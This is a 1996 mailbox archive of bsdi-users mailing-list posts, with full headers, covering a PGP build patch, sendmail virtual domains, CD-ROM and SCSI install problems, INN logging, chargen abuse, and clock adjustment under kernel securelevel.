with ESMTP id OAA27888 for ; Fri, 22 Nov 1996 14:01:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA28392 for bsdi-users-outgoing; Fri, 22 Nov 1996 13:30:26 -0500 (EST) Message-Id: <3.0.32.19961122132844.006ab29c@pop.ictech.com> X-Sender: lww@pop.ictech.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_848705327==_" Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: BSD Cc: bsdi-users@BSDI.COM Subject: Re: pgp & bsdi 2.0.1 Date: Fri, 22 Nov 1996 13:28:47 -0500 --=====================_848705327==_ Content-Type: text/plain; charset="us-ascii" At 01:10 PM 11/22/96 -0500, Bill Warner wrote: >At 12:44 PM 11/22/96 -0500, Bill Warner wrote: >>At 12:42 AM 11/22/96 -0500, BSD wrote: >>> >>>Everytime I try to compile pgp under bsdi 2.0.1 I get the following error: >>>-------------------------------------------------------------------------- >>>make all "LD=cc -s" CFLAGS="-I../rsaref/source -I../rsaref/test >>>-DUSEMPILIB -O >>>-I. -B/lib/ -DNOTERMIO -D_BSD -DUNIX -DPORTABLE -DUSE_NBIO " >>>cc -I../rsaref/source -I../rsaref/test -DUSEMPILIB -O -I. -B/lib/ >>>-DNOTERMIO -D_BSD -DUNIX -DPORTABLE -DUSE_NBIO -c zipup.c >>>zipup.c:43: conflicting types for `lseek' >>>/usr/include/sys/types.h:84: previous declaration of `lseek' >>>*** Error code 1 >> >>Try the following patch for pgp 2.6.2. It will fix the lseek()conflict and >>add a bsdi target to the makefile. It works for me on 2.0.1. >> >>Bill > >Ooops, lets try that again. This time with the patch... Oh, darn! One more time with the patch properly formatted. (I hope.) ---------------------------------------------------- --=====================_848705327==_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable *** src/makefile.orig Thu Oct 13 16:33:34 1994 --- src/makefile Sat May 20 20:00:45 1995 *************** *** 81,87 **** @echo "" @echo "where can be:" @echo " 386bsd, 3b1, 3b1_asm, amix-68k-gcc, aux(*), aux-gcc, bsd," ! @echo " bsdgcc, djgpp, encore, hpux-68k(*), hpux-68k-ansi," @echo " hpux-68k-gcc, hpux-pa(*), hpux-pa-ansi, hpux-pa-gcc," @echo " hpux9-pa-ansi, irix, irix_asm, isc, isc_asm, linux, machten," @echo " mach_386, mips-ultrix, netbsd, newsasm, newsgcc, next," --- 81,87 ---- @echo "" @echo "where can be:" @echo " 386bsd, 3b1, 3b1_asm, amix-68k-gcc, aux(*), aux-gcc, bsd," ! @echo " bsdgcc, bsdi, djgpp, encore, hpux-68k(*), hpux-68k-ansi," @echo " hpux-68k-gcc, hpux-pa(*), hpux-pa-ansi, hpux-pa-gcc," @echo " hpux9-pa-ansi, irix, irix_asm, isc, isc_asm, linux, machten," @echo " mach_386, mips-ultrix, netbsd, newsasm, newsgcc, next," *************** *** 168,173 **** --- 168,177 ---- netbsd: $(MAKE) all CC=3Dgcc LD=3Dgcc OBJS_EXT=3D"_80386.o _zmatch.o" \ CFLAGS=3D"$(RSAINCDIR) -O -DUNIX -DIDEA32 -DASM -DMAX_NAMELEN=3D255" +=20 + bsdi: + $(MAKE) all CC=3Dgcc LD=3Dgcc OBJS_EXT=3D"_80386.o _zmatch.o" \ + CFLAGS=3D"$(RSAINCDIR) -O2 -DUNIX -DIDEA32 -DASM -DMAX_NAMELEN=3D255" =20 # Sun 3 with gcc # change -traditional-cpp to -traditional for gcc < 2.0 *** src/zipup.c.orig Thu Aug 4 16:45:53 1994 --- src/zipup.c Sat May 20 20:00:25 1995 *************** *** 14,22 **** =20 #define NOCPYRT /* this is not a main module */ #include ! #ifdef __QNX__ ! #include ! #endif #include "zip.h" #include "zrevisio.h" =20 --- 14,20 ---- =20 #define NOCPYRT /* this is not a main module */ #include ! #include "system.h" /* Mainly for */ #include "zip.h" #include "zrevisio.h" =20 *************** *** 39,47 **** # include # define fhow (O_RDONLY|O_BINARY) # else /* !MSDOS */ ! #if !(defined(AMIGA) || defined(__NetBSD__)) long lseek(); ! #endif /* AMIGA */ # define fhow 0 # endif /* ?MSDOS */ typedef int ftype; --- 37,45 ---- # include # define fhow (O_RDONLY|O_BINARY) # else /* !MSDOS */ ! #ifndef HAVE_UNISTD_H long lseek(); ! #endif /* HAVE_UNISTD_H */ # define fhow 0 # endif /* ?MSDOS */ typedef int ftype; --=====================_848705327==_-- From VM Fri Nov 22 21:35:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2176" "Fri" "22" "November" "1996" "09:04:44" "-0500" "cyerkes@interport.net" "cyerkes@interport.net" nil "50" "Re: Virtual sendmail" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA28806 for ; Fri, 22 Nov 1996 14:42:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA28587 for bsdi-users-outgoing; Fri, 22 Nov 1996 14:21:10 -0500 (EST) Message-Id: <199611221404.JAA05181@interport.net> In-Reply-To: from "Luc Croteau" at Nov 21, 96 04:52:45 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: cyerkes Sender: owner-bsdi-users@lists.gateway.com To: lcroteau@ls.barrhead.ab.ca (Luc Croteau) Cc: bsdi-users@BSDI.COM Subject: Re: Virtual sendmail Date: Fri, 22 Nov 1996 09:04:44 -0500 (EST) It is claimed, but unverified, that Luc Croteau wrote: > I am running BSDI 2.1 with sendmail 8.8.3. I tried 8.8.3 with the patches > from BSDI as well as recompiling a new one from ftp.cc.berkeley.edu > > The machine I am using is main.ls.barrhead.ab.ca (real domain) the virtual > domain name is lands.ab.ca > > Now here is my problem. I can only send E-mail to users that have actual > mailboxes on ls.barrhead.ab.ca (real domain) for instance costcutter has a > mailbox on ls.barrhead.ab.ca if I send email to costcutter@lands.ab.ca then > it goes to costcutter@ls.barrhead.ab.ca which is contrary to the virtual txt > file I created. Sample of configs below. Actually, not virtual sendmail, but sendmail handling multiple domains (they are real, not virtual domains).... It's a sendmail FAQ; send Eric Allman the syrup, he deserves it for writing and maintaining the program. You are on the right track. First sendmail needs to know how to handle the domain (eric adds them to Class W, I use a Class "virt"). Then, for domains in that class, you apply rules to lookup addresses into a table. If none match, is there a default for that domain? Use the FEATURE "virtusertable" (new to V8.8, but the formalization of the common way to do it). >From sendmail-8.8.3/cf/README: ==================================================================== virtusertable A domain-specific form of aliasing, allowing multiple virtual domains to be hosted on one machine. For example, if the virtuser table contained: info@foo.com foo-info info@bar.com bar-info @baz.org jane@elsewhere.net then mail addressed to info@foo.com will be sent to the address foo-info, mail addressed to info@bar.com will be delivered to bar-info, and mail addressed to anyone at baz.org will be sent to jane@elsewhere.net. All the host names on the left hand side (foo.com, bar.com, and baz.org) must be in $=w. The default map definition is: hash -o /etc/virtusertable A new definition can be specified as the second argument of the FEATURE macro. From VM Fri Nov 22 21:35:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["203" "Fri" "22" "November" "1996" "20:03:11" "+0000" "Jim Cassata" "jim@web-ex.com" nil "15" "Re: EIDE CDROM's, are they supported?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA07404 for ; Fri, 22 Nov 1996 19:59:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA29991 for bsdi-users-outgoing; Fri, 22 Nov 1996 19:56:54 -0500 (EST) Message-Id: <199611230101.UAA01779@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" , bsdi-users@BSDI.COM Subject: Re: EIDE CDROM's, are they supported? Date: Fri, 22 Nov 1996 20:03:11 +0000 > I don't know what ATAPI is. It is IDE (or EIDE) Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Fri Nov 22 21:35:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1132" "Fri" "22" "November" "1996" "19:29:43" "-0400" "Dean Anderson" "dean@av8.com" nil "27" "Re: Install problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA07409 for ; Fri, 22 Nov 1996 19:59:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA29919 for bsdi-users-outgoing; Fri, 22 Nov 1996 19:47:08 -0500 (EST) X-Sender: dean@mail.oec.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: dean@av8.com (Dean Anderson) Sender: owner-bsdi-users@lists.gateway.com To: Cat Okita , Kent Ketell Cc: bsdi-users@BSDI.COM Subject: Re: Install problems Date: Fri, 22 Nov 1996 19:29:43 -0400 At 12:23 PM 11/21/96, Cat Okita wrote: >On Thu, 21 Nov 1996, Kent Ketell wrote: >> I am not sure I understand your question. Are you saying that I should >> NOT be using the 'aha' boot blocks? All of my other systems are using >> them with no problems, and they have the same types of hardware. > >Yes. Use the bios boot blocks not the aha boot blocks. > >I've also seen the same thing, where an 'identical' machine works just fine >with the aha boot blocks. I keep on meaning to check the card revs etc, but >haven't gotten around to it. > >Don't forget to have the bios enabled on your scsi controller though... I had this same problem. I suspect that not all 2940UW are created equal. --Dean Dean Anderson dean@aV8.com | dean@lpf.org We make technology fly! See us for | Stop Software Patents before they Networking, Firewalls, WWW and more. | stop you! Contact me for more info Contact me for services and rates | or send mail to lpf@lpf.org President | President Plain Aviation,Inc | League for Programming Freedom From VM Fri Nov 22 21:35:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["999" "Fri" "22" "November" "1996" "18:13:32" "+0000" "Jim Cassata" "jim@web-ex.com" nil "26" "Re: Tyan motherboard?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA07413 for ; Fri, 22 Nov 1996 19:59:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA29956 for bsdi-users-outgoing; Fri, 22 Nov 1996 19:50:35 -0500 (EST) Message-Id: <199611222312.SAA01713@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: Theodore Hope CC: bsdi-users@BSDI.COM Subject: Re: Tyan motherboard? Date: Fri, 22 Nov 1996 18:13:32 +0000 > I have BSD/OS running on other hardware, and wanted to know if > you could tell me what CPU you have in your Tomcat-III board. > The reason I ask is because I recall that somewhere someone > wrote a message saying that there were problems (with BSD/OS > and that motherboard) at 200 MHz. Is this not the case? > Also, what SIMMs did you put it in? ASA sells "ESIMM" chips > at _low_ prices, compared to the Kingston SIMMs (lifetime > warranty). Ted, I put a P120 in the Tomcat3. I also purchased parity ram from ASA (CPU too). They configured the MB for me. With parity ram, you can enable ECC in the BIOS, which I really wanted. What are you going to do with it?? 200 MHz is fast and expensive. I chose the 120 and spent extra money on Ultra SCSI. Most of what we do is not that processor intensive. let me know how you make out Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Fri Nov 22 21:35:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1349" "Fri" "22" "November" "1996" "19:28:45" "-0500" "Jason Lixfeld" "carrera@idirect.com" nil "32" "Installing BSD/OS 2.0 via Boot floppies and CDROM" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA07459 for ; Fri, 22 Nov 1996 20:00:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA29913 for bsdi-users-outgoing; Fri, 22 Nov 1996 19:46:54 -0500 (EST) X-Authentication-Warning: hometown.idirect.com: carrera owned process doing -bs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jason Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: "Edwin C. Philips" cc: bsdi-users@BSDI.COM Subject: Installing BSD/OS 2.0 via Boot floppies and CDROM Date: Fri, 22 Nov 1996 19:28:45 -0500 (EST) I previously had FreeBSD on my system on a seperate partition, and had Windows 95 on the other partition on a 1.2GB HD (700MB FreeBSD and 500MB Win95) I have since deleted the FreeBSD partition to make way for BSD/OS 2.0 because that's what is used at work, and I would like to learn it more at home. Anyhow.. I am trying to install it off of CDROM. I have a panasonic drive (CR-562 2x). I guess it reads it as a matsushita drive because when it comes up, it is detected as /dev/mcd0. The problem is that I am getting an error and I cannot install it: mount local cdrom: mcd0... mount_iso9660: /dev/mcd0a on cdrom: Filesystem type not configured. I read something on a previous screen in the install that if it is by CD or tape, it should have showed up in the initial detection of the hardware. It didn't! Is it like FreeBSD where I have to manually configure it in order for it to work or what? Any assistance anyone could offer to get me up and running on the install would be GREATLY appreciated! BTW: in freeBSD bootup, it bypasses mcd0 and says device not configured. it reads my cdrom as /dev/matcd. I tried to enter this configuration into the BSD/OS installation when it asked me for the name of the CDROM, but it said that it was an invalid device name or something like that.. Thanks again in advance.. Jason Lixfeld From VM Fri Nov 22 21:35:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2079" "Fri" "22" "November" "1996" "22:45:43" "+0100" "James A. Brister" "brister@vix.com" nil "57" "INN misc. (was Re: Inn: articles no longer in history file)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA07420 for ; Fri, 22 Nov 1996 20:00:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA29966 for bsdi-users-outgoing; Fri, 22 Nov 1996 19:52:29 -0500 (EST) Message-Id: <199611222146.WAA24632@velo.pp.vix.com> Organization: Internet Software Consortium Precedence: bulk From: brister@vix.com (James A. Brister) Sender: owner-bsdi-users@lists.gateway.com To: blast@broder.com, david@isdnet.net Cc: bsdi-users@BSDI.COM Subject: INN misc. (was Re: Inn: articles no longer in history file) Date: Fri, 22 Nov 1996 22:45:43 +0100 David Ponzone wrote: > BTW, I know that I am not on the INN Mailing-list, but I'd like to have > BSD/OS users' opinion : would I have to upgrade to 1.4unoff4 ? There is no general inn mailing list (well, none run by me, or that I'm a part of), all discussion happens in news.software.nntp (sort of like using email to talk about sendmail, I suppose). I recommend 1.4unoff4 at a minimum. The INN that comes with BSD/OS is pre-unoff4, I forget the details, but they've done various unoff4-like things to it. If you're happy with what you've got, no need to change, unless you like to be on the bleeding edge... You can also get the latest 1.5 beta: ftp.vix.com:/pub/inn/inn-1.5b2.tar.gz This has a lot of new features beyond 1.4. You can grab the README file directly out of the ftp directory if you're inerested in more detail. Send a subscription request (one line message with just the word 'subscribe' (no quotes)) to to be notified of the 1.5 release (not long now). Tim Keanini wrote: > On the topic if 'innd', I was supprised to find that there is > no way that I can find within innd's logging a way to get the bytes > in or out. There's two answers to this. The first is it's pretty easy in 1.4-any to get info on the size of articles coming in--create a newsfeeds entry thus: stat!istics:*:Tf,Wtbs:/path/to/a/log/file you'll get lines like: 848698233 1234 peer-name and then you can track who gives you how much and when. Similar newsfeeds entries can be added to track how much you're feeding to other sites. The second answer is that 1.5 adds the size to the log entries in /var/log/news/news: Nov 22 22:21:26.130 + 0.0.0.0 2457 overview! test1 (i.e. 2457 bytes *after* Path and other header fixups). There are patches out there somewhere to do this to 1.4 (I think in the nntplink source). James -- James Brister brister@vix.com Internet Software Consortium http://www.isc.org/isc inn@isc.org From VM Fri Nov 22 21:35:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["636" "Fri" "22" "November" "1996" "11:18:16" "-0800" "Jason Downs" "downsj@teeny.org" nil "17" "Re: EIDE CDROM's, are they supported? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA07959 for ; Fri, 22 Nov 1996 20:12:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA00172 for bsdi-users-outgoing; Fri, 22 Nov 1996 20:11:09 -0500 (EST) Message-Id: <199611221918.LAA09269@threadway.teeny.org> X-Mailer: exmh version 1.6.5 12/11/95 In-reply-to: Your message of "Fri, 22 Nov 1996 09:24:17 PST." <3.0.1.32.19961122092407.009fa998@gw3.firstdata.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Jason Downs Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: "Jacob M. Parnas" , bsdi-users@BSDI.COM Subject: Re: EIDE CDROM's, are they supported? Date: Fri, 22 Nov 1996 11:18:16 -0800 In message <3.0.1.32.19961122092407.009fa998@gw3.firstdata.com>, Kent Ketell writes: >EIDE is ATAPI and ATAPI is EIDE and IDE. Hardly. EIDE (primarily) refers to various PIO and DMA transfer modes, while ATAPI refers to the SCSI-like Packet Interface protocol that can be used over the physical IDE interfaces. The two have very little to do with each other, since ATAPI devices usually just use basic IDE PIO. -- Jason Downs (503) 256-8535 -/- (503) 952-3749 downsj@teeny.org --> teeny.org: Free Software for a Free Internet <-- http://www.teeny.org/ This ain't no steeenking NetBSD. http://www.openbsd.org/ From VM Fri Nov 22 21:36:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["540" "Fri" "22" "November" "1996" "15:08:00" "" "Scott Wiersum" "SWIERSUM@setenv.com" nil "10" "Port 19 chargen (denial of service)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA09324 for ; Fri, 22 Nov 1996 21:02:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA00278 for bsdi-users-outgoing; Fri, 22 Nov 1996 20:33:46 -0500 (EST) Message-Id: <199611222116.PAA08963@progress.smartgate.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-mailer: Pegasus Mail v3.31 Precedence: bulk From: SWIERSUM@setenv.com (Scott Wiersum) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Port 19 chargen (denial of service) Date: Fri, 22 Nov 1996 15:08:00 Has anyone been troubled by hackers telneting to port 19 (chargen) multiple times causing a bandwith problem? Is there a patch for this? Can I just comment out the chargen line in /etc/inetd.conf or will it have severe reprocussions? swiersum@setenv.com ************************************************* Scott Wiersum, NetAdmin * Press any key to continue... * SET Environmental * Press any other key to abort... * Chicago metro-area ************************************************* From VM Fri Nov 22 21:36:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1393" "Fri" "22" "November" "1996" "13:58:40" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "39" "Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA09329 for ; Fri, 22 Nov 1996 21:07:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA00369 for bsdi-users-outgoing; Fri, 22 Nov 1996 21:03:49 -0500 (EST) Message-Id: <199611221858.NAA25455@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Fri, 22 Nov 1996 11:28:49 CST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: John Senay cc: bsdi-users@BSDI.COM Subject: Re: SCSI III-Ultra Wide and AUI (15 pin) 10 mbit/sec network card... Date: Fri, 22 Nov 1996 13:58:40 -0500 John, Thanks for the pointer. I'm checking it out now. Sincerely, Jacob ---- In message you write: > > >On Fri, 22 Nov 1996, Jacob M. Parnas wrote: > >> >> 1. What is the best (for BSDI 3.0) Ultra SCSI wide PCI card? I've heard >> Buslogic is better than Adaptek, and BSDI says NCR has a good one. Does >> anyone know which is best and the best place/price to get it from? > >DPT has announced support for BSDI 3.0, look at www.dpt.com >> >> 2. I'm looking for the cheapest 10 Mbit/sec AUI (15 pin) ethernet card so >> I can hook up my new system to my old Sun Sparcstation 2. Anyone have >> any pointers. Even used would be OK. Either ISA or PCI is fine. >> Performance isn't important (any card should do what I want: simple X >> rlogin and NFS mounting with only 2 computers on the net. It has to >> be a AUI because I have cables and a hub with the 15 pin type connectors. >> >> Thanks, Jacob >> > > ------------------------------------------------------------------------------ | Jacob M. Parnas | | IBM Thomas J. Watson Research Ctr. | | Internet: jparnas@jparnas.cybercom.net | ------------------------------------------------------------------------------ From VM Fri Nov 22 21:36:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["310" "Fri" "22" "November" "1996" "14:13:57" "-0500" "jimtoro@hoflink.com" "jimtoro@hoflink.com" nil "11" "two domain names, one ip" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA09600 for ; Fri, 22 Nov 1996 21:19:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA00368 for bsdi-users-outgoing; Fri, 22 Nov 1996 21:03:42 -0500 (EST) Reply-To: jimtoro@hoflink.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: jimtoro@hoflink.com Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: two domain names, one ip Date: Fri, 22 Nov 1996 14:13:57 -0500 (EST) A customer wants two different domain names for one ip. I know this is basically aliases like we do in virtual domain names for apache, but he wants the two names to be assigned to the virtual ip which aliases to the original ni card in the bsdi box. Any good reference points to see how this is done?. From VM Fri Nov 22 21:36:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1042" "Fri" "22" "November" "1996" "17:55:42" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "26" "Re: Install problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA09874 for ; Fri, 22 Nov 1996 21:26:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id UAA00340 for bsdi-users-outgoing; Fri, 22 Nov 1996 20:56:30 -0500 (EST) Message-Id: <3.0.1.32.19961122174751.00687bd8@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: dean@av8.com (Dean Anderson) Cc: Cat Okita , Kent Ketell , bsdi-users@BSDI.COM Subject: Re: Install problems Date: Fri, 22 Nov 1996 17:55:42 -0800 At 07:29 PM 11/22/96 -0400, Dean Anderson wrote: >At 12:23 PM 11/21/96, Cat Okita wrote: >>On Thu, 21 Nov 1996, Kent Ketell wrote: >>> I am not sure I understand your question. Are you saying that I should >>> NOT be using the 'aha' boot blocks? All of my other systems are using >>> them with no problems, and they have the same types of hardware. >> >>Yes. Use the bios boot blocks not the aha boot blocks. >> >>I've also seen the same thing, where an 'identical' machine works just fine >>with the aha boot blocks. I keep on meaning to check the card revs etc, but >>haven't gotten around to it. >> >>Don't forget to have the bios enabled on your scsi controller though... > >I had this same problem. I suspect that not all 2940UW are created equal. > This is, without a doubt, an accurate statement. However, my problem also happened using a Buslogic 946C, which I have in multiple systems in the office environment without having to use bios boot blocks. Just goes to show you... artificial intelligence is a reality ;^) -Kent- From VM Sat Nov 23 11:42:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1029" "Fri" "22" "November" "1996" "12:33:28" "-0800" "David A. Lee" "dave@calldei.com" nil "36" "Re: Executing a command before kern.securelevel goes to 1?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA10150 for ; Fri, 22 Nov 1996 21:33:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA00380 for bsdi-users-outgoing; Fri, 22 Nov 1996 21:13:36 -0500 (EST) Message-Id: <199611222033.MAA18548@dei.calldei.com> In-Reply-To: from "Mike Pelletier" at Nov 22, 96 12:14:31 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "David A. Lee" Sender: owner-bsdi-users@lists.gateway.com To: mikep@comshare.com (Mike Pelletier) Cc: bsdi-users@BSDI.COM Subject: Re: Executing a command before kern.securelevel goes to 1? Date: Fri, 22 Nov 1996 12:33:28 -0800 (PST) I use the following shell command setup to run as root every hour by cron. #Syncronize Clocks ... # Must be run as ROOT PATH=$PATH:/usr/sbin ntpdate $* scruznet.com ncar.ucar.edu haven.umd.edu > > I need to make an adjustment to the kernel's clock settings with the XNTP > "tickadj" program, since my ASA motherboard's clock drifts rather > significantly -- around 200-250ppm. However, when kern.securelevel is at > 1, changes to /dev/kmem by tickadj are not permitted. So I need to run > this "tickadj" command when the security level is still 0. > > Now, one notion I've had is to rebuild the kernel with "options INSECURE", > and then as the first line or two in the "rc" file, do: > > tickadj -A -t 9998 > sysctl -w kern.securelevel=1 > > But I was wondering if there might be a way to do it without the INSECURE > option. And I'm not sure about this option - is setting kern.securelevel > to zero instead of 1 all it really does? > > Thanks for any suggestions you can offer! > > -Mike Pelletier. > From VM Sat Nov 23 11:42:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["672" "Fri" "22" "November" "1996" "19:24:32" "-0700" "Jim Hribnak" "hribnak@nucleus.com" nil "29" "Re: named and high CPU usage solved!" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA10155 for ; Fri, 22 Nov 1996 21:34:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA00393 for bsdi-users-outgoing; Fri, 22 Nov 1996 21:25:18 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jim Hribnak Sender: owner-bsdi-users@lists.gateway.com To: patrick@value.net cc: bsdi-users@BSDI.COM Subject: Re: named and high CPU usage solved! Date: Fri, 22 Nov 1996 19:24:32 -0700 (MST) On Wed, 20 Nov 1996 patrick@value.net wrote: On Wed, 20 Nov 1996, Jim Hribnak wrote: > > > Even with 32 megs of ram in my 2.1 system the newest BIND would nearly > halt my system (I think due to high SWAPPING or something) when the named > got to about 10 meg in size... We upgraded the machine to a P166 with 128 > megs of ram and I have had named upto about 15 meg in size and the CPU did > not overload and go through the roof.. seems I was swapping more than I > realized.. Try pstat -s to see just how much you are swapping... ======== Well right now I am not using a single bit of swap. (there is 10 people on and the web server is hopping....) Jim From VM Sat Nov 23 11:42:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["342" "Fri" "22" "November" "1996" "14:02:08" "-0500" "Robin Dua" "dua@globalserve.net" nil "12" "Customer database" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA10975 for ; Fri, 22 Nov 1996 22:12:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id VAA00466 for bsdi-users-outgoing; Fri, 22 Nov 1996 21:59:52 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Robin Dua Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Customer database Date: Fri, 22 Nov 1996 14:02:08 -0500 (EST) We are maintaining a user database in Microsoft Access and want to know whether anyone has it working as a front end interface for adding and deleting users on our BSDi boxes. The Microsoft Access database is running on a Windows NT system. If anyone has done this or knows how to do this please e-mail me back. Thanks Robin GlobalServe From VM Sat Nov 23 11:42:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil 